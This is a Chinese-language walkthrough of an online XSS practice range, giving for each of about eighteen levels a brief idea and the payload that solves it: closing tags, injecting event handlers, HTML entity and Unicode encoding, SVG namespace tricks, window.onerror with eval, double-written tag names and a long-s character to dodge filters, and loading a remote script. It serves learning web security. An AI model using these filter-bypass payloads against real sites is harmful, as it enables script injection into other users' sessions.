XSS中级漏洞(靶场)

目录

一、环境

二、正式开始闯关

0x01

0x02

0x03

0x04

0x05

0x06

0x07

0x08

0x0B

0x0C

0x0D

0x0E

​ 0x0F

0x10

0x11

0x12


一、环境

在线环境(gethub上面的)

alert(1)

二、正式开始闯关

0x01

源码:

思路:闭合标签注入

复制代码
</textarea><script>alert(1)</script>

0x02

源码:

思路:跟上一题一样

复制代码
1" onclick="alert(1)

也可以用户不参与去触发给后面加一个标签就可以了

复制代码
1"><script>alert(1)</script>

0x03

源码:

思路: 有一个正则把括号过滤掉了,用html实体转码

很明显不行,那试一下<a>标签

复制代码
<a href="javascript:alert&#40;1&#41;">aaaaa</a>

很容易过了

原因:编码是有顺序的,urlcode-->html实体编码--->unicode实体编码

第二种方法:括号替换

复制代码
<script>alert`1`</script>

0x04

刚才第三关的第一种做法是照样绕过的

svg标签是照样绕过的

复制代码
<svg><script>alert&#40;1&#41</script></svg>

svg和html是不同的命名空间,在svg中script是可以实现一个实体编码的

还有一种方法Windows.oneror

复制代码
<script>window.onerror=eval;throw'=alert\u00281\u0029'</script>

throw是抛异常的,我们再用eval接到,在throw下可以支持符号编码

0x05

闭合输出

复制代码
--!><script>alert(1)</script>

0x06

利用点:html支持换行

因为on和等号是整体所以加了等号

复制代码
onclick
=alert(1)

还有一种用户不参与的方式

复制代码
type=image src=1 onerror
=alert(1)

0x07

利用html自动纠错

复制代码
<img src=1 onerror="alert(1)"
复制代码
<svg/onload="alert(1)"

0x08

源码:

解法:固定过滤,利用空格

0x09

一个小技巧

复制代码
https://www.segmentfault.com.haozi.me/j.js

很明显

0x0A

跟上一关一样,解析顺序,解析的时候已经被实体编码转译了

0x0B

我们正常操作无法绕过直接进行实体编码,直接也就过了

复制代码
</h1><svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;(1)</script>

单标签也可以绕过

复制代码
<img src=1 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

0x0C

单标签也可以绕过

复制代码
<img src=1 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

双写也可以绕过

复制代码
<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>

0x0D

技巧:写在前面可以注释,写在后面无法注释了

复制代码
alert(1)
-->

0x0E

技巧:字符替换

长s字符:ſ

复制代码
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0F

原理:先编码再解码

复制代码
');alert('1

0x10

先闭合掉

复制代码
1;alert(1)

0x11

利用替换两个反斜杠

复制代码
");alert("1

0x12

转义符没有被过滤

复制代码
\"); alert(1); //

第二种方法:通过闭合前面script标签来再输入script标签

复制代码
</script> <script>alert(1)</script><script>
相关推荐
花间相见5 小时前
【LangChain组件03】—— LangChain Agents 执行与状态:工作流程与状态管理实战
java·前端·langchain
kyriewen6 小时前
面试官让我用 AI 重构一个 8 年陈的 React 组件——他说他不看代码,只看我会不会拆
前端·javascript·面试
计算机魔术师6 小时前
700吉瓦「幽灵用电」:美国AI数据中心的抢电闹剧正在失控
前端
IT_陈寒6 小时前
JavaScript数组排序踩的坑,差点让我加班到凌晨
前端·人工智能·后端
风骏时光牛马6 小时前
提示词工程:大模型交互的核心构建艺术
前端
敢敢是只喵i6 小时前
一个本地 AI Agent 要操作多个门店或 SaaS 账号,应该怎样安全切换身份?
人工智能·安全·ai·系统架构·业界资讯
Acrel12346 小时前
DC800V 大规模落地,算力机房安全该如何保障
安全
今日无bug6 小时前
大模型的回答是怎么一个字一个字蹦出来的?前端流式输出解析
前端·llm·agent
计算机魔术师6 小时前
Anthropic 复盘 Claude 模型越权访问真实系统事件并改进对齐与安全措施
前端
掘金者阿豪7 小时前
Seedance 2.0/2.5 虚拟素材能跨 Key 共用吗?一次讲清 Asset ID、账号隔离与 SaaS 素材架构
前端·后端